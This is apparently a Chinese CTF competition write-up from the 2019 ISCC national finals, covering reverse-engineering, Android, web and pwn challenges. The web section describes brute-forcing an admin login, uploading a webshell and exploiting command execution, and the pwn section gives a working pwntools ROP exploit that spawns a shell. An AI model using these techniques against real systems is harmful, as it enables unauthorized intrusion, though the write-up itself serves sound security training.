第16届(2019)全国大学生信息安全与对抗技术竞赛全国线下总决赛 Writeup

2022-10-26 22:46:44

0x00 Begin

关于 ISCC 2019 北理工总决赛，这一次比赛体验感总体差不多，最后我们战队荣获第一名，在这里非常感谢我的团队以及我的队友。

0x01 Reverse

下载题目：elf

先用 DIE_090_win 查看信息，64位elf文件，然后拖入 ida 分析。

看到fgets函数，并且没有对输入进行限制，存在数组越界漏洞。

而且数组是连续的

所以根据流程写出相应的脚本

#include <stdio.h>

int main(int argc, char *argv[])

{

int s,v5,v6,v7,v8,v9,v10,v11,v12,v13,v14,v15,v16,v17,v18,v19,v20,v21,v22,v23,v24,v25,v26,v27;

s = (0x17F5B30C ^ 0x17F5B345);

v5=  (0xF16B77B1^0xF16B77E2);

v6=(0xB2B21904 ^ 0xB2B21947);

v7 = (0x58A9F9C8 ^ 0x58A9F98B);

v8 = (0x20A99D71 ^ 0x20A99D0A);

v9=(0x96D85B41 ^ 0x96D85B20);

v10=(0xBBEA9A56 ^ 0xBBEA9A3E);

v11 = ( 0x35512DDF^ 0x35512DBE);

v12 = ( 0x2838DCA8^ 0x2838DCF7);

v13 = (0x4EA1DFF4 ^ 0x4EA1DF87);

v14=(0xE22DCC84 ^ 0xE22DCCED) ;

v15=(0xDD2C6643 ^ 0xDD2C662E);

v16 =(0x106B37B4 ^ 0x106B37C4);

v17 =(0x46B44202 ^ 0x46B4426E);

v18=(0xAA67C791 ^ 0xAA67C7F4);

v19=(0x72C06EE2 ^ 0x72C06EBD);

v20=(0xB0117F0D ^ 0xB0117F7F) ;

v21=(0xF91B9389 ^ 0xF91B93EC);

v22=(0xD43CE962 ^ 0xD43CE914);

v23=(0xF6EA0C88 ^ 0xF6EA0CED);

v24= (0x402A09E5 ^ 0x402A0997);

v25=(0xADACB774 ^ 0xADACB707) ;

v26=(0xE79C5545 ^ 0xE79C5520);

v27 = (0x4B76BD31 ^ 0x4B76BD4C);

printf("%c",s);

printf("%c",v5);

printf("%c",v6);

printf("%c",v7);

printf("%c",v8);

printf("%c",v9);

printf("%c",v10);

printf("%c",v11);

printf("%c",v12);

printf("%c",v13);

printf("%c",v14);

printf("%c",v15);

printf("%c",v16);

printf("%c",v17);

printf("%c",v18);

printf("%c",v19);

printf("%c",v20);

printf("%c",v21);

printf("%c",v22);

printf("%c",v23);

printf("%c",v24);

printf("%c",v25);

printf("%c",v26);

printf("%c",v27);

return 0;

}

GetFlag

ISCC{aha_simple_reverse}

0x02 Mobile

下载题目：app-release.apk

通过提示发现flag由两部分组成

由于该apk缺少签名所以无法安装，不过不影响做题

第一部分：

先对apk进行反编译，分析特殊文件，最终在string.xml文件中找到一些特殊字符串

 <string name="abc_toolbar_collapse_description">Collapse</string>

    <string name="app_name">where is flag</string>

    <string name="bad_example">This does not work</string>

    <string name="basketball">basketball</string>

    <string name="black">#FFFFFF</string>

    <string name="city">青岛</string>

    <string name="good_example">"This'll work"</string>

    <string name="good_example_2">"This'll also work"</string>

    <string name="hello">Hello World, MainActivity!</string>

    <string name="hhh">Happy!</string>

    <string name="me">我打ctf像</string>

    <string name="mine">今年我10岁，打ctf</string>

    <string name="part1">RmxhZyU3</string>

    <string name="part2">QllvdXJB</string>

    <string name="part3">cmVDYW5keQ==</string>

    <string name="sd">sad!</string>

    <string name="search_menu_title">Search</string>

提取特殊字符串

part=part1+part2+part3=RmxhZyU3QllvdXJBcmVDYW5keQ==

base64解码得到flag前半部分

Flag{YourAreCandy

第二部分：

使用jd-gui查看反编译的java文件

主类代码如下：

package com.example.iscc.whereisflag;

import android.os.Bundle;

import android.support.v7.app.AppCompatActivity;

import android.view.View;

import android.view.View.OnClickListener;

import android.widget.Button;

import android.widget.EditText;

import android.widget.Toast;

public class MainActivity

  extends AppCompatActivity

{

  String f1ag = "f1ag{ifbUlnFBboBH15VGHsd6a78}";

  String tag1 = "input";

  boolean check(String paramString)

  {

    if (paramString.length() == 0) {

      return false;

    }

    int[] arrayOfInt1 = new int[paramString.length() / 2 + 1];

    int[] arrayOfInt2 = new int[paramString.length() / 2 + 1];

    int k = 0;

    int i = k;

    int j = i;

    while (k < paramString.length())

    {

      arrayOfInt1[i] = paramString.charAt(k);

      int m = paramString.charAt(k);

      k += 1;

      arrayOfInt2[i] = paramString.charAt(k);

      i += 1;

      j = j + m + paramString.charAt(k);

      k += 1;

    }

    if (j > 800) {

      return false;

    }

    i = arrayOfInt2[(arrayOfInt2.length - 2)];

    arrayOfInt2[(arrayOfInt2.length - 2)] = arrayOfInt2[0];

    arrayOfInt2[0] = i;

    i = 0;

    while (i < arrayOfInt1.length - 1)

    {

      if (arrayOfInt1[i] > 91) {

        return false;

      }

      i += 1;

    }

    i = 0;

    while (i < arrayOfInt2.length - 1)

    {

      if (arrayOfInt2[i] < 96) {

        return false;

      }

      i += 1;

    }

    if (arrayOfInt1[(arrayOfInt1.length - 2)] != arrayOfInt1[(arrayOfInt1.length - 3)]) {

      return false;

    }

    if (arrayOfInt1[1] - arrayOfInt1[0] != 4) {

      i = 1;

    } else {

      i = 0;

    }

    if (Math.abs(arrayOfInt2[0] - arrayOfInt2[1]) != 4) {

      j = 1;

    } else {

      j = 0;

    }

    if (arrayOfInt1[0] - arrayOfInt1[(arrayOfInt1.length - 2)] != 4) {

      k = 1;

    } else {

      k = 0;

    }

    if ((i | j | k) != 0) {

      return false;

    }

    if (arrayOfInt2[0] % 25 != 0) {

      return false;

    }

    if ((arrayOfInt1[(arrayOfInt1.length - 2)] + arrayOfInt2[(arrayOfInt2.length - 2)] + arrayOfInt2[1]) / (arrayOfInt1[0] + arrayOfInt1[1]) != 2) {

      return false;

    }

    if ((arrayOfInt1[(arrayOfInt1.length - 2)] + arrayOfInt2[(arrayOfInt2.length - 3)]) % 10 != 0) {

      return false;

    }

    if (arrayOfInt2[(arrayOfInt2.length - 3)] % 11 != 0) {

      i = 1;

    } else {

      i = 0;

    }

    if (arrayOfInt2[(arrayOfInt2.length - 2)] % 11 != 0) {

      j = 1;

    } else {

      j = 0;

    }

    return (i | j) == 0;

  }

  protected void onCreate(final Bundle paramBundle)

  {

    super.onCreate(paramBundle);

    setContentView(2131296284);

    paramBundle = (EditText)findViewById(2131165309);

    ((Button)findViewById(2131165218)).setOnClickListener(new View.OnClickListener()

    {

      public void onClick(View paramAnonymousView)

      {

        paramAnonymousView = paramBundle.getText().toString();

        if (MainActivity.this.check(paramAnonymousView))

        {

          Toast.makeText(MainActivity.this.getApplicationContext(), "恭喜你拿到了 ag!", 1).show();

          return;

        }

        Toast.makeText(MainActivity.this.getApplicationContext(), "flag{you can do it 666}", 1).show();

      }

    });

  }

}

审计主类Java代码发现第二部分存在于check函数中，下来分析check函数功能：

首先将输入的奇数位赋给数组arrayOfInt1,偶数位赋给arrayOfInt2，然后判断输入的字符串ASCII的要小于800。

这部分将数组arrayOfInt2的最后一位和第一位替换位置；并要求arrayOfInt1要小于等于91，arrayOfInt2要大于等于96。

最后两部分就是对两个数组的值的判断即约束条件。

最终，满足所有条件才能返回1即返回true。

根据上面列出的约束条件(为了阅读方便将数组设为 arrayOfInt1->arr1 arrayOfInt2->arr2)

然后设

arr1[0] -> x0

arr1[1] -> x1

arr1[后1] -> x_1 == 数组arr1的到数第1位

arr1[后2] -> x_2 == 数组arr1的到数第2位

arr2[0] -> y0

arr2[1] -> y1

arr2[后1] -> y_1 == 数组arr2的到数第1位

arr2[后2] -> y_2 == 数组arr2的到数第2位

所有约束条件组成的方程组

x_1 = x_2 式 1

x1 – x0 =4 式 2

x0 – x_1=4 式 3

(x_1 + y_1 +y1)/(x0+x1) =2 式 4

(x_1 + y_2) % 10 = 0 式 5

| y0 – y1| =4 式 6

y0 % 25 =0 式 7

y_2 % 11 =0 式 8

y_1 %11 =0 式 9

利用方程组求解：

根据式7得 y0 = 125 或者 100

根据式6得 y1 =121

因为数组2要大于等于96，所以根据式8，9得 y_1,y_2的取值有三种可能 99，110，121

若 y_2 =121

根据式5得 x_1 = 69

根据式1得 x_2 = 69

根据式3得 x0 = 73

根据式2得 x1 = 77

根据式4得 y_1 = 110

发现此解满足条件

x0 = 73   x1= 77   x_2 = 69   x_1 = 69

y0 = 125 y1 =121 y_2 = 121 y_1 = 110

整理：

数组 arr1 = 73 , 77, 69, 69

数组 arr2 = 125, 121, 121 , 110

根据1.2可知数组2的最后一位和第一位替换位置所以

数组 arr2 = 110, 121, 121 , 125

之后根据数组arr1是输入的奇数位，arr2是输入的偶数位

所以输入： 73,110,77,121,69,121,69,125

对应字符串：InMyEyE}

最终flag由第一部分和第二部分组成

Flag{YourAreCandyInMyEyE}

PS：感谢我们团队的逆向大佬帮我分析算法(二进制大佬)。

0x03 私地 Web

拿到一个站，先对该站点进行端口探测，目录扫描，发现存在登陆页面，首先想的是注入，但是注入无果，于是立马进行isccadmin爆破。

登陆之后，先修改自己账户密码，防止被登录。

漏洞利用，修改附件上传限制

在文章哪里上传木马111.pht

PS：服务器存在漏洞(主办方文件权限设置出现问题)，一直上传不上去，耽误了一个小时（T_T）,最后向主办方反应才解决了该问题。

最后蚁剑成功连接shell

Getflag向主办方要取ssh账号

连接ssh之后，备份源码，分析站点文件，发现根目录下的一个文件(xmlrpc.php)存在任意命令执行漏洞。

构造payload，getflag

http://192.168.37.71/xmlrpc.php?rsd=getflag

0x04 Pwn 高地2

放入ida分析，发现scanf存在栈溢出漏洞，并且题目还给出了system函数

根据漏洞编写相应的Exp

from pwn import *

context.log_level = "debug"

#icontext.arch = "amd64"

elf = ELF("./fZ830RdRBe6wAofd.pwnPublic")

pop_rdi_ret=0x400683

bss=0x602000-10

pop_rsi_r15=0x400681

s=0x4006C5

sh = process("./fZ830RdRBe6wAofd.pwnPublic")

system = elf.plt['system']

scanf = elf.plt['__isoc99_scanf']

payload='A'*24+p64(pop_rsi_r15)+p64(bss)+p64(bss)

payload+=p64(pop_rdi_ret)+p64(s)

payload+=p64(scanf)

payload+=p64(pop_rdi_ret)+p64(bss)+p64(system)

sh.sendline(payload)

sh.interactive()

0x05 End

Game over !!!!

码农公寓

0x01 Reverse

0x02 Mobile

0x03 私地 Web

0x04 Pwn 高地2

0x05 End

相关文章